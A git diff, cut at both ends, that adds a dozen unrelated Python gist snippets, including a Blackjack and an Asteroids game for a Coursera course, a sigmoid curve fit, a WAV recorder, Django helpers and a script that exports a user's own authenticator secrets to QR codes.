+                task = future_to_task[future]
+                for f in self._downstream[task]:
+                    count_deps[f] -= 1
+                    if count_deps[f] == 0:
+                        fut = executor.submit(f)
+                        future_to_task[fut] = f
+                        not_done.add(fut)
+
+
+
+# Example
+
+import time
+tasks = TasksGroup()
+
+@tasks.add()
+def f1():
+    time.sleep(.4)
+    print(time.time(), 1)
+
+@tasks.add(f1)
+def f2():
+    time.sleep(4)
+    print(time.time(), 2)
+
+@tasks.add(f1)
+def f3():
+    time.sleep(.4)
+    print(time.time(), 3)
+
+@tasks.add(f3)
+def f4():
+    time.sleep(.4)
+    print(time.time(), 4)
+
+
+with concurrent.futures.ThreadPoolExecutor(max_workers=2) as executor:
+    tasks.run(executor)
diff --git a/hard-gists/5684769/._snippet.py b/hard-gists/5684769/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5684769/._snippet.py differ
diff --git a/hard-gists/5684769/snippet.py b/hard-gists/5684769/snippet.py
new file mode 100644
index 00000000..6d6540d8
--- /dev/null
+++ b/hard-gists/5684769/snippet.py
@@ -0,0 +1,26 @@
+# good discussion here:  http://stackoverflow.com/questions/4308168/sigmoidal-regression-with-scipy-numpy-python-etc
+# curve_fit() example from here: http://permalink.gmane.org/gmane.comp.python.scientific.user/26238
+# other sigmoid functions here: http://en.wikipedia.org/wiki/Sigmoid_function
+
+import numpy as np
+import pylab
+from scipy.optimize import curve_fit
+
+def sigmoid(x, x0, k):
+     y = 1 / (1 + np.exp(-k*(x-x0)))
+     return y
+
+xdata = np.array([0.0,   1.0,  3.0, 4.3, 7.0,   8.0,   8.5, 10.0, 12.0])
+ydata = np.array([0.01, 0.02, 0.04, 0.11, 0.43,  0.7, 0.89, 0.95, 0.99])
+
+popt, pcov = curve_fit(sigmoid, xdata, ydata)
+print popt
+
+x = np.linspace(-1, 15, 50)
+y = sigmoid(x, *popt)
+
+pylab.plot(xdata, ydata, 'o', label='data')
+pylab.plot(x,y, label='fit')
+pylab.ylim(0, 1.05)
+pylab.legend(loc='best')
+pylab.show()
diff --git a/hard-gists/5690111/._snippet.py b/hard-gists/5690111/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5690111/._snippet.py differ
diff --git a/hard-gists/5690111/snippet.py b/hard-gists/5690111/snippet.py
new file mode 100644
index 00000000..2a7c42f3
--- /dev/null
+++ b/hard-gists/5690111/snippet.py
@@ -0,0 +1,44 @@
+import urllib.request
+import json
+import decimal
+
+class Bitcoin_cz(object):
+    def __init__(self, api_key):
+        self.account_data = json.loads(
+            urllib.request.urlopen(
+                "https://mining.bitcoin.cz/accounts/profile/json/" + api_key
+            ).read().decode("utf-8")
+        )
+        self.block_data = json.loads(
+            urllib.request.urlopen(
+                "https://mining.bitcoin.cz/stats/json/" + api_key
+            ).read().decode("utf-8")
+        )
+
+    def print_data(self):
+        print()
+        print("Username:     " + self.account_data["username"])
+        print("Wallet:       " + self.account_data["wallet"])
+        print()
+        print("Estimated:    \033[0;31m" + self.account_data["estimated_reward"] + "\033[0m BTC")
+        print("Unconfirmed:  \033[1;33m" + self.account_data["unconfirmed_reward"] + "\033[0m BTC")
+        print("Confirmed:    \033[0;32m" + self.account_data["confirmed_reward"] + "\033[0m BTC")
+        print("Total:        " + str(
+            decimal.Decimal(self.account_data["unconfirmed_reward"]) + 
+            decimal.Decimal(self.account_data["confirmed_reward"])
+          ) + " BTC"
+        )
+        print()
+        print(
+            "Current round duration: " + 
+            self.block_data["round_duration"]
+        )
+        print("Workers:")
+        for worker in self.account_data["workers"]:
+            alive = self.account_data["workers"][worker]["alive"]
+            print("    " + ("\033[0;31m" if not alive else "\033[0;32m") + worker + "\033[0m")
+            print("        Shares: " + str(self.account_data["workers"][worker]["shares"]))
+        print()
+
+inst = Bitcoin_cz("insert api key here")
+inst.print_data()
diff --git a/hard-gists/5690132/._snippet.py b/hard-gists/5690132/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5690132/._snippet.py differ
diff --git a/hard-gists/5690132/snippet.py b/hard-gists/5690132/snippet.py
new file mode 100644
index 00000000..dec68b2d
--- /dev/null
+++ b/hard-gists/5690132/snippet.py
@@ -0,0 +1,214 @@
+# Mini-project #6 - Blackjack
+#
+# 'Introduction to Interactive Programming in Python' Course
+# RICE University - coursera.org
+# by Joe Warren, John Greiner, Stephen Wong, Scott Rixner
+
+import simplegui
+import random
+
+# load background sprite
+BG_SIZE = (500, 350)
+BG_CENTER = (250, 175)
+BG_image = simplegui.load_image(
+    "https://dl.dropboxusercontent.com/u/1076274/interactive_python/blackjack/bg.jpg")
+
+# load card sprite
+CARD_SIZE = (42, 56)
+CARD_CENTER = (21, 28)
+card_images = simplegui.load_image(
+    "https://dl.dropboxusercontent.com/u/1076274/interactive_python/blackjack/card_deck.png")
+
+CARD_BACK_SIZE = (42, 56)
+CARD_BACK_CENTER = (21, 28)
+card_back = simplegui.load_image(
+    "https://dl.dropboxusercontent.com/u/1076274/interactive_python/blackjack/card_back.png")
+
+# initialize some useful global variables
+in_play = False
+outcome = "Press Deal button!"
+score = 0
+
+# define globals for cards
+SUITS = ('C', 'S', 'H', 'D')
+RANKS = ('A', '2', '3', '4', '5', '6', '7', '8', '9', 'T', 'J', 'Q', 'K')
+VALUES = {'A': 1, '2': 2, '3': 3, '4': 4, '5': 5, '6': 6,
+          '7': 7, '8': 8, '9': 9, 'T': 10, 'J': 10, 'Q': 10, 'K': 10}
+
+
+class Card:
+    def __init__(self, suit, rank):
+        self.rot = (random.random() * 0.2) - 0.1  # random rotation
+        self.show = True
+        if (suit in SUITS) and (rank in RANKS):
+            self.suit = suit
+            self.rank = rank
+        else:
+            self.suit = None
+            self.rank = None
+            print "Invalid card: ", suit, rank
+
+    def __str__(self):
+        return self.suit + self.rank
+
+    def get_suit(self):
+        return self.suit
+
+    def get_rank(self):
+        return self.rank
+
+    def draw(self, canvas, pos):
+        if self.show:
+            card_loc = (CARD_CENTER[0] + CARD_SIZE[0] * RANKS.index(self.rank),
+                        CARD_CENTER[1] + CARD_SIZE[1] * SUITS.index(self.suit))
+            canvas.draw_image(card_images, card_loc, CARD_SIZE,
+                             (pos[0] + CARD_CENTER[0],
+                              pos[1] + CARD_CENTER[1]), CARD_SIZE, self.rot)
+        else:
+            canvas.draw_image(card_back, CARD_BACK_CENTER, CARD_BACK_SIZE,
+                              (pos[0] + CARD_BACK_CENTER[0],
+                               pos[1] + CARD_BACK_CENTER[1]),
+                              CARD_BACK_SIZE, self.rot)
+
+
+# define hand class
+class Hand:
+    def __init__(self):
+        self.cards = list()
+
+    def __str__(self):
+        return "Hand contains " + " ".join([str(i) for i in self.cards])
+
+    def add_card(self, card):
+        self.cards.append(card)
+
+    def get_value(self):
+        value = 0  # value using "A" == 1
+        aces = 0  # aces counter
+        for card in self.cards:
+            rank = card.get_rank()
+            value += VALUES.get(rank)
+            if rank == "A":
+                aces += 1
+        value_10 = value + (10 * aces) - aces  # value using "A" == 10
+        if value_10 <= 21:
+            value = value_10
+        return value
+
+    def draw(self, canvas, pos):
+        i = 0
+        for card in self.cards:
+            card.draw(canvas, (pos[0] + (30 * i), pos[1]))
+            i += 1
+
+
+# define deck class
+class Deck:
+    def __init__(self):
+        self.cards = list()
+        for suit in SUITS:
+            for rank in RANKS:
+                self.cards.append(Card(suit, rank))
+
+    def shuffle(self):
+        random.shuffle(self.cards)
+
+    def deal_card(self):
+        return self.cards.pop()
+
+    def __str__(self):
+        return "Deck contains " + " ".join([str(i) for i in self.cards])
+
+
+# define event handlers for buttons
+def deal():
+    global deck, player, dealer, outcome, in_play, score
+    if in_play:
+        score -= 1
+    deck = Deck()
+    deck.shuffle()
+    player = Hand()
+    dealer = Hand()
+    for i in range(2):
+        dealer.add_card(deck.deal_card())
+        player.add_card(deck.deal_card())
+    dealer.cards[-1].show = False
+    in_play = True
+    outcome = "Hit or Stand?"
+
+
+def hit():
+    global outcome, in_play, score
+    if not in_play:
+        return
+    player.add_card(deck.deal_card())
+    outcome = "Hit or Stand?"
+    if player.get_value() > 21:
+        outcome = "Busted. New deal?"
+        in_play = False
+        score -= 1
+
+
+def stand():
+    global outcome, in_play, score
+    if not in_play:
+        return
+    dealer.cards[-1].show = True
+    while dealer.get_value() < 17:
+        dealer.add_card(deck.deal_card())
+    if dealer.get_value() > 21:
+        score += 1
+        outcome = "Dealer Busted! New deal?"
+    elif player.get_value() > dealer.get_value():
+        score += 1
+        outcome = "You win! New deal?"
+    else:
+        score -= 1
+        outcome = "You lose. New deal?"
+    in_play = False
+
+
+# draw handler
+def draw(canvas):
+    # draw background
+    canvas.draw_text("Loading...", (BG_SIZE[0] / 6, BG_CENTER[1]), 22, "White")
+    CENTER = tuple(BG_CENTER)
+    if len(outcome):
+        CENTER = (BG_CENTER[0] - 250, BG_CENTER[1])
+    canvas.draw_image(BG_image, BG_CENTER, BG_SIZE, CENTER, BG_SIZE)
+    text_width = frame.get_canvas_textwidth(outcome, 18)
+    canvas.draw_text(outcome, (125 - text_width / 2, 85), 18, "White")
+    # draw score
+    canvas.draw_text(str(score), (163, 302), 18, "#eeeecc")
+    # draw hands
+    dealer.draw(canvas, (40, 120))
+    player.draw(canvas, (40, 212))
+
+
+def mouse(position):
+    HANDLERS = (deal, hit, stand)
+    COORDS = (((40, 120), (280, 305)), ((40, 120),
+             (315, 340)), ((130, 210), (315, 340)))
+    i = 0
+    for x, y in COORDS:
+        if x[0] <= position[0] <= x[1] and y[0] <= position[1] <= y[1]:
+            return HANDLERS[i]()  # execute handler
+        i += 1
+
+
+# initialization frame
+frame = simplegui.create_frame("Blackjack", BG_SIZE[0] / 2, BG_SIZE[1])
+
+# create buttons and canvas callback
+frame.add_button("Deal", deal, 200)
+frame.add_button("Hit",  hit, 200)
+frame.add_button("Stand", stand, 200)
+frame.set_draw_handler(draw)
+frame.set_mouseclick_handler(mouse)
+
+# get things rolling
+deck = Deck()
+deck.shuffle()
+player = Hand()
+dealer = Hand()
+frame.start()
diff --git a/hard-gists/5690971/._snippet.py b/hard-gists/5690971/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5690971/._snippet.py differ
diff --git a/hard-gists/5690971/snippet.py b/hard-gists/5690971/snippet.py
new file mode 100644
index 00000000..fc8432b3
--- /dev/null
+++ b/hard-gists/5690971/snippet.py
@@ -0,0 +1,18 @@
+from functools import wraps
+from django.core.exceptions import PermissionDenied
+
+
+def superuser_required(method):
+    """
+    Decorator to check whether user is super user or not
+    If user is not a super-user, it will raise PermissionDenied or
+    403 Forbidden.
+    """
+    @wraps(method)
+    def _wrapped_view(request, *args, **kwargs):
+        if request.user.is_superuser is False:
+            raise PermissionDenied
+
+        return method(request, *args, **kwargs)
+
+    return _wrapped_view
\ No newline at end of file
diff --git a/hard-gists/5691375/._snippet.py b/hard-gists/5691375/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5691375/._snippet.py differ
diff --git a/hard-gists/5691375/snippet.py b/hard-gists/5691375/snippet.py
new file mode 100644
index 00000000..c1444827
--- /dev/null
+++ b/hard-gists/5691375/snippet.py
@@ -0,0 +1,55 @@
+'''
+Pythonista Find and Replace
+===========================
+
+Notices
+-------
+
+Copyright 2013 Harry Jubb.
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+For a full copy of the GNU General Public License, see
+<http://www.gnu.org/licenses/>.
+
+Description
+-----------
+
+Implements a "Find and Replace" function for Ole Zorn's "Pythonista"
+iPad app.
+
+Installation
+------------
+
+- Add the script in Pythonista in the top level folder as "Find and Replace"
+- Settings -> Actions Menu -> Checkmark the script
+
+Usage
+-----
+
+- Tap the Action Menu
+- Tap Find and Replace
+- Enter the string to find
+- Enter the replacement string
+- Enjoy!
+'''
+
+import console
+import editor
+
+all_text = editor.get_text()
+
+find = console.input_alert('Find', 'Please enter text to find.', '', 'Find')
+replace = console.input_alert('Replace', 'Please enter replacement text.', find, 'Replace')
+
+new_text = all_text.replace(find, replace)
+
+editor.replace_text(0, len(all_text), new_text)
diff --git a/hard-gists/5693955/._snippet.py b/hard-gists/5693955/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5693955/._snippet.py differ
diff --git a/hard-gists/5693955/snippet.py b/hard-gists/5693955/snippet.py
new file mode 100644
index 00000000..752c3b4b
--- /dev/null
+++ b/hard-gists/5693955/snippet.py
@@ -0,0 +1,96 @@
+# -*- coding: utf-8 -*-
+'''recorder.py
+Provides WAV recording functionality via two approaches:
+
+Blocking mode (record for a set duration):
+>>> rec = Recorder(channels=2)
+>>> with rec.open('blocking.wav', 'wb') as recfile:
+...     recfile.record(duration=5.0)
+
+Non-blocking mode (start and stop recording):
+>>> rec = Recorder(channels=2)
+>>> with rec.open('nonblocking.wav', 'wb') as recfile2:
+...     recfile2.start_recording()
+...     time.sleep(5.0)
+...     recfile2.stop_recording()
+'''
+import pyaudio
+import wave
+
+class Recorder(object):
+    '''A recorder class for recording audio to a WAV file.
+    Records in mono by default.
+    '''
+
+    def __init__(self, channels=1, rate=44100, frames_per_buffer=1024):
+        self.channels = channels
+        self.rate = rate
+        self.frames_per_buffer = frames_per_buffer
+
+    def open(self, fname, mode='wb'):
+        return RecordingFile(fname, mode, self.channels, self.rate,
+                            self.frames_per_buffer)
+
+class RecordingFile(object):
+    def __init__(self, fname, mode, channels, 
+                rate, frames_per_buffer):
+        self.fname = fname
+        self.mode = mode
+        self.channels = channels
+        self.rate = rate
+        self.frames_per_buffer = frames_per_buffer
+        self._pa = pyaudio.PyAudio()
+        self.wavefile = self._prepare_file(self.fname, self.mode)
+        self._stream = None
+
+    def __enter__(self):
+        return self
+
+    def __exit__(self, exception, value, traceback):
+        self.close()
+
+    def record(self, duration):
+        # Use a stream with no callback function in blocking mode
+        self._stream = self._pa.open(format=pyaudio.paInt16,
+                                        channels=self.channels,
+                                        rate=self.rate,
+                                        input=True,
+                                        frames_per_buffer=self.frames_per_buffer)
+        for _ in range(int(self.rate / self.frames_per_buffer * duration)):
+            audio = self._stream.read(self.frames_per_buffer)
+            self.wavefile.writeframes(audio)
+        return None
+
+    def start_recording(self):
+        # Use a stream with a callback in non-blocking mode
+        self._stream = self._pa.open(format=pyaudio.paInt16,
+                                        channels=self.channels,
+                                        rate=self.rate,
+                                        input=True,
+                                        frames_per_buffer=self.frames_per_buffer,
+                                        stream_callback=self.get_callback())
+        self._stream.start_stream()
+        return self
+
+    def stop_recording(self):
+        self._stream.stop_stream()
+        return self
+
+    def get_callback(self):
+        def callback(in_data, frame_count, time_info, status):
+            self.wavefile.writeframes(in_data)
+            return in_data, pyaudio.paContinue
+        return callback
+
+
+    def close(self):
+        self._stream.close()
+        self._pa.terminate()
+        self.wavefile.close()
+
+    def _prepare_file(self, fname, mode='wb'):
+        wavefile = wave.open(fname, mode)
+        wavefile.setnchannels(self.channels)
+        wavefile.setsampwidth(self._pa.get_sample_size(pyaudio.paInt16))
+        wavefile.setframerate(self.rate)
+        return wavefile
diff --git a/hard-gists/5696520/._snippet.py b/hard-gists/5696520/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5696520/._snippet.py differ
diff --git a/hard-gists/5696520/snippet.py b/hard-gists/5696520/snippet.py
new file mode 100644
index 00000000..5d564b1a
--- /dev/null
+++ b/hard-gists/5696520/snippet.py
@@ -0,0 +1,272 @@
+# Mini-project # 7 - Spaceship
+#
+# 'Introduction to Interactive Programming in Python' Course
+# RICE University - coursera.org
+# by Joe Warren, John Greiner, Stephen Wong, Scott Rixner
+
+import simplegui
+import math
+import random
+
+# globals for user interface
+WIDTH = 800
+HEIGHT = 600
+score = 0
+lives = 3
+time = 0
+
+
+class ImageInfo:
+    def __init__(self, center, size, radius=0, lifespan=None, animated=False):
+        self.center = center
+        self.size = size
+        self.radius = radius
+        if lifespan:
+            self.lifespan = lifespan
+        else:
+            self.lifespan = float('inf')
+        self.animated = animated
+
+    def get_center(self):
+        return self.center
+
+    def get_size(self):
+        return self.size
+
+    def get_radius(self):
+        return self.radius
+
+    def get_lifespan(self):
+        return self.lifespan
+
+    def get_animated(self):
+        return self.animated
+
+
+# art assets created by Kim Lathrop, may be freely re-used in
+# non-commercial projects, please credit Kim
+
+# debris images - debris1_brown.png, debris2_brown.png, debris3_brown.png, debris4_brown.png
+# debris1_blue.png, debris2_blue.png, debris3_blue.png, debris4_blue.png,
+# debris_blend.png
+debris_info = ImageInfo([320, 240], [640, 480])
+debris_image = simplegui.load_image(
+    "http://commondatastorage.googleapis.com/codeskulptor-assets/lathrop/debris2_blue.png")
+
+# nebula images - nebula_brown.png, nebula_blue.png
+nebula_info = ImageInfo([400, 300], [800, 600])
+nebula_image = simplegui.load_image(
+    "http://commondatastorage.googleapis.com/codeskulptor-assets/lathrop/nebula_blue.png")
+
+# splash image
+splash_info = ImageInfo([200, 150], [400, 300])
+splash_image = simplegui.load_image(
+    "http://commondatastorage.googleapis.com/codeskulptor-assets/lathrop/splash.png")
+
+# ship image
+ship_info = ImageInfo([45, 45], [90, 90], 35)
+ship_image = simplegui.load_image(
+    "http://commondatastorage.googleapis.com/codeskulptor-assets/lathrop/double_ship.png")
+
+# missile image - shot1.png, shot2.png, shot3.png
+missile_info = ImageInfo([5, 5], [10, 10], 3, 50)
+missile_image = simplegui.load_image(
+    "http://commondatastorage.googleapis.com/codeskulptor-assets/lathrop/shot2.png")
+
+# asteroid images - asteroid_blue.png, asteroid_brown.png, asteroid_blend.png
+asteroid_info = ImageInfo([45, 45], [90, 90], 40)
+asteroid_image = simplegui.load_image(
+    "http://commondatastorage.googleapis.com/codeskulptor-assets/lathrop/asteroid_blue.png")
+
+# animated explosion - explosion_orange.png, explosion_blue.png,
+# explosion_blue2.png, explosion_alpha.png
+explosion_info = ImageInfo([64, 64], [128, 128], 17, 24, True)
+explosion_image = simplegui.load_image(
+    "http://commondatastorage.googleapis.com/codeskulptor-assets/lathrop/explosion_alpha.png")
+
+# sound assets purchased from sounddogs.com, please do not redistribute
+soundtrack = simplegui.load_sound(
+    "http://commondatastorage.googleapis.com/codeskulptor-assets/sounddogs/soundtrack.mp3")
+missile_sound = simplegui.load_sound(
+    "http://commondatastorage.googleapis.com/codeskulptor-assets/sounddogs/missile.mp3")
+missile_sound.set_volume(.5)
+ship_thrust_sound = simplegui.load_sound(
+    "http://commondatastorage.googleapis.com/codeskulptor-assets/sounddogs/thrust.mp3")
+explosion_sound = simplegui.load_sound(
+    "http://commondatastorage.googleapis.com/codeskulptor-assets/sounddogs/explosion.mp3")
+
+
+# helper functions to handle transformations
+def angle_to_vector(ang):
+    return [math.cos(ang), math.sin(ang)]
+
+
+def dist(p, q):
+    return math.sqrt((p[0] - q[0]) ** 2 + (p[1] - q[1]) ** 2)
+
+
+# Sprite class
+class Sprite():
+    def __init__(self, pos, vel, angle, angle_vel, image, info, sound=None):
+        self.pos = [pos[0], pos[1]]
+        self.vel = [vel[0], vel[1]]
+        self.angle = angle
+        self.angle_vel = angle_vel
+        self.image = image
+        self.image_center = info.get_center()
+        self.image_size = info.get_size()
+        self.radius = info.get_radius()
+        self.lifespan = info.get_lifespan()
+        self.animated = info.get_animated()
+        self.age = 0
+        self.sound = sound
+        if self.sound:
+            self.sound.rewind()
+            self.sound.play()
+
+    def draw(self, canvas):
+        canvas.draw_image(self.image, self.image_center, self.image_size,
+                          self.pos, self.image_size, self.angle)
+
+    def update(self, friction=0.0):
+        # update orientation
+        self.angle += self.angle_vel
+        for i in range(2):
+            self.vel[i] *= 1 - friction
+        # update position
+        limits = (WIDTH, HEIGHT)
+        for i in range(2):
+            self.pos[i] += self.vel[i]
+            self.pos[i] = self.pos[i] % limits[i]
+
+
+# Ship class, it inherits from Sprite class
+class Ship(Sprite):
+    def __init__(self, *args, **kwds):
+        Sprite.__init__(self, *args, **kwds)  # inherit from sprite
+        self.thrust = False
+        if self.sound:
+            self.sound.pause()
+            self.sound.rewind()
+
+    def set_thrust(self, value):
+        self.thrust = value
+        # shift image center and play/pause sound
+        if value:
+            self.image_center[0] *= 3
+            if self.sound:
+                self.sound.play()
+        else:
+            self.image_center[0] /= 3
+            if self.sound:
+                self.sound.pause()
+                self.sound.rewind()
+
+    def shoot(self):
+        # shoot and return a missile (Sprite object)
+        point_at = angle_to_vector(self.angle)
+        pos = list(self.pos)
+        vel = list(self.vel)
+        for i in range(2):
+            pos[i] += point_at[i] * self.image_center[0]
+            vel[i] += point_at[i] * 5
+        return Sprite(pos, vel, self.angle, 0, missile_image,
+                      missile_info, missile_sound)
+
+    def update(self):
+        # move forward
+        if self.thrust:
+            vel = angle_to_vector(self.angle)
+            for i in range(2):
+                self.vel[i] += vel[i] * 0.2
+        # sprite behaviour
+        Sprite.update(self, 0.01)
+
+
+# draw handler
+def draw(canvas):
+    global time
+    # animate background
+    time += 1
+    center = debris_info.get_center()
+    size = debris_info.get_size()
+    wtime = (time / 8) % center[0]
+    canvas.draw_image(nebula_image, nebula_info.get_center(),
+                      nebula_info.get_size(), [WIDTH / 2, HEIGHT / 2],
+                      [WIDTH, HEIGHT])
+    canvas.draw_image(debris_image, [center[0] - wtime, center[1]],
+                      [size[0] - 2 * wtime, size[1]],
+                      [WIDTH / 2 + 1.25 * wtime, HEIGHT / 2],
+                      [WIDTH - 2.5 * wtime, HEIGHT])
+
+    # draw lives
+    canvas.draw_text("Lives", (40, 40), 18, "White", "sans-serif")
+    canvas.draw_text(str(lives), (40, 64), 18, "White", "sans-serif")
+
+    # draw score
+    canvas.draw_text("Score", (WIDTH - 80, 40), 18, "White", "sans-serif")
+    canvas.draw_text(str(score), (WIDTH - 80, 64), 18, "White", "sans-serif")
+
+    # draw ship and rocks
+    my_ship.draw(canvas)
+    a_rock.draw(canvas)
+
+    # update ship and rocks
+    my_ship.update()
+    a_rock.update()
+
+    # draw and update missiles
+    for i in missiles:
+        i.draw(canvas)
+        i.update()
+
+
+def key_down(key):
+    global missiles
+    if simplegui.KEY_MAP.get("up") == key:
+        my_ship.set_thrust(True)
+    elif simplegui.KEY_MAP.get("left") == key:
+        my_ship.angle_vel = -0.1
+    elif simplegui.KEY_MAP.get("right") == key:
+        my_ship.angle_vel = 0.1
+    elif simplegui.KEY_MAP.get("space") == key:
+        missiles.append(my_ship.shoot())
+
+
+def key_up(key):
+    if simplegui.KEY_MAP.get("up") == key:
+        my_ship.set_thrust(False)
+    elif simplegui.KEY_MAP.get("left") == key:
+        my_ship.angle_vel = 0.0
+    elif simplegui.KEY_MAP.get("right") == key:
+        my_ship.angle_vel = 0.0
+
+
+# timer handler that spawns a rock
+def rock_spawner():
+    pos = [random.random() * WIDTH]
+    pos.append(random.random() * HEIGHT)
+    a_rock.pos = pos
+    a_rock.vel = angle_to_vector(random.random() * 2 * 3.141592)  # random vel
+    a_rock.angle_vel = (random.random() - 0.5) * 0.05  # random spin vel
+
+
+# initialize frame
+frame = simplegui.create_frame("Asteroids", WIDTH, HEIGHT)
+
+# initialize ship and two sprites
+my_ship = Ship([WIDTH / 2, HEIGHT / 2], [0, 0], 0, 0, ship_image, ship_info,
+               ship_thrust_sound)
+a_rock = Sprite([0, 0], [0, 0], 0, 0, asteroid_image, asteroid_info)
+rock_spawner()  # force a initial spawn
+missiles = list()
+
+# register handlers
+frame.set_draw_handler(draw)
+frame.set_keydown_handler(key_down)
+frame.set_keyup_handler(key_up)
+timer = simplegui.create_timer(1000.0, rock_spawner)
+
+# get things rolling
+timer.start()
+frame.start()
diff --git a/hard-gists/5702d57eb4cb6ef6e7e8/._snippet.py b/hard-gists/5702d57eb4cb6ef6e7e8/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5702d57eb4cb6ef6e7e8/._snippet.py differ
diff --git a/hard-gists/5702d57eb4cb6ef6e7e8/snippet.py b/hard-gists/5702d57eb4cb6ef6e7e8/snippet.py
new file mode 100644
index 00000000..5ba8fa69
--- /dev/null
+++ b/hard-gists/5702d57eb4cb6ef6e7e8/snippet.py
@@ -0,0 +1,58 @@
+#!/usr/bin/env python2.7
+
+import argparse
+import os
+import qrcode
+import qrcode.image.pil
+import sqlite3
+import sys
+import urllib
+
+class AuthenticatorAccount(object):
+
+    def __init__(self, account_name, account_desc, secret):
+        self.account_name = account_name
+        self.account_desc = account_desc
+        self.secret = secret
+
+    def __repr__(self):
+        return "AuthenticatorAccount@%s%s" % (hex(id(self))[2:], self.__dict__)
+
+def __main__():
+    parser = argparse.ArgumentParser()
+    parser.add_argument("database", help="The SQLite database file.")
+    args = parser.parse_args()
+
+    if not os.path.isfile(args.database):
+        sys.stderr.write("Unable to open %s.\n" % (args.database,))
+        sys.stderr.flush()
+        sys.exit(1)
+
+    conn = sqlite3.connect(args.database)
+    conn.row_factory = sqlite3.Row
+    cursor = conn.cursor()
+    cursor.execute("SELECT * FROM accounts ORDER BY _id;")
+    
+    row = None
+
+    while True:
+        row = cursor.fetchone()
+
+        if row is None:
+            break
+
+        account = AuthenticatorAccount(row['issuer'] or row['original_name'], row['email'],
+                row['secret'])
+    
+        print """Saving "%s" to "qrcode-account-%02d.svg" """[:-1] % (account.account_desc,
+                row['_id'])
+        
+        qr = qrcode.make("otpauth://totp/%s?secret=%s&issuer=%s" % (account.account_desc,
+            account.secret, account.account_name), image_factory=qrcode.image.pil.PilImage)
+        
+        with open("qrcode-account-%02d.png" % (row['_id'],), "wb") as f:
+            qr.save(f)
+
+
+if __name__ == "__main__":
+    __main__()
diff --git a/hard-gists/5703516/._snippet.py b/hard-gists/5703516/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5703516/._snippet.py differ
diff --git a/hard-gists/5703516/snippet.py b/hard-gists/5703516/snippet.py
new file mode 100644
index 00000000..585b6816
--- /dev/null
+++ b/hard-gists/5703516/snippet.py
@@ -0,0 +1,49 @@
+"""Test of finding Nuke's viewer widget, and intercepting the hardwired "c" shortcut and rewiring it to view the RGB channel
+"""
+
+from PySide import QtGui, QtCore
+
+
+def findviewer():
+    stack = QtGui.QApplication.topLevelWidgets()
+    viewers = []
+    while stack:
+        widget = stack.pop()
+        if widget.windowTitle().startswith('Viewer'):
+            # TODO: More robust detection of viewer widget (verify some of the child widgets or something..?)
+            viewers.append(widget)
+        stack.extend(c for c in widget.children() if c.isWidgetType())
+
+    return viewers
+
+class KeyIntercepter(QtCore.QObject):
+    def eventFilter(self, obj, event):
+        if event.type() == QtCore.QEvent.Type.KeyPress:
+            if event.key() == QtCore.Qt.Key_C:
+                def sendkey(key):
+                    new_event = QtGui.QKeyEvent(QtCore.QEvent.KeyPress, key, QtCore.Qt.NoModifier)
+                    QtGui.QApplication.instance().postEvent(
+                       obj,
+                       new_event)
+                # Same as pressing "RGRR" in viewer, switches between to channels, then back to RGB
+                sendkey(QtCore.Qt.Key_R)
+                sendkey(QtCore.Qt.Key_G)
+                sendkey(QtCore.Qt.Key_R)
+                sendkey(QtCore.Qt.Key_R)
+
+                # Event was handled..
+                return True
+        return QtCore.QObject.eventFilter(obj, obj, event)
+
+
+viewers = findviewer()
+
+# Remove old event filter
+# FIXME: Debugging thing, for iteration in script editor
+try: dag.removeEventFilter(thing)
+except: pass
+
+# Install event filter
+thing=KeyIntercepter()
+for v in viewers:
+    v.installEventFilter(thing)
diff --git a/hard-gists/5710254/._snippet.py b/hard-gists/5710254/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5710254/._snippet.py differ
diff --git a/hard-gists/5710254/snippet.py b/hard-gists/5710254/snippet.py
new file mode 100644
index 00000000..502194cb
--- /dev/null
+++ b/hard-gists/5710254/snippet.py
@@ -0,0 +1,22 @@
+from django.views.decorators.csrf import csrf_exempt
+
+@csrf_exempt
+def reverse_proxy(request):
+    """
+    Reverse proxy for a remote service.
+    """
+    path = request.get_full_path()
+    #Optionally, rewrite the path to fit whatever service we're proxying to.
+    
+    url = "http://%s%s" % ("my_server.lol:9200", path)
+
+    import requests
+    requestor = getattr(requests, request.method.lower())
+    
+    proxied_response = requestor(url, data=request.body, files=request.FILES)
+    
+    from django.http.response import HttpResponse
+    response = HttpResponse(proxied_response.content, content_type=proxied_response.headers.get('content-type'))
+    for header_key, header_value in proxied_response.headers.iteritems():
+        response[header_key] = header_value
+    return response
\ No newline at end of file
diff --git a/hard-gists/571027/._snippet.py b/hard-gists/571027/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/571027/._snippet.py differ
diff --git a/hard-gists/571027/snippet.py b/hard-gists/571027/snippet.py
new file mode 100644
index 00000000..2d384283
--- /dev/null
+++ b/hard-gists/571027/snippet.py
@@ -0,0 +1,19 @@
+from django.http import HttpRequest
+
+class PickleableHttpRequest(HttpRequest):
+    def __init__(self, request=None, attributes=None):
+        super(PickleableHttpRequest, self).__init__()
+
+        if request:
+            if not isinstance(request, HttpRequest):
+                raise Exception('Request supplied is not a valid HTTP request object.')
+
+            self.GET = request.GET
+            self.POST = request.POST
+            self.REQUEST = request.REQUEST
+            # Do not load FILES or META. These structures can't be pickled
+
+        if attributes:
+            for attribute in attributes:
+                if hasattr(request, attribute):
+                    setattr(self, attribute, getattr(request, attribute))
\ No newline at end of file
diff --git a/hard-gists/5712436/._snippet.py b/hard-gists/5712436/._snippet.py
new file mode 100644
index 00000000..cd8af967
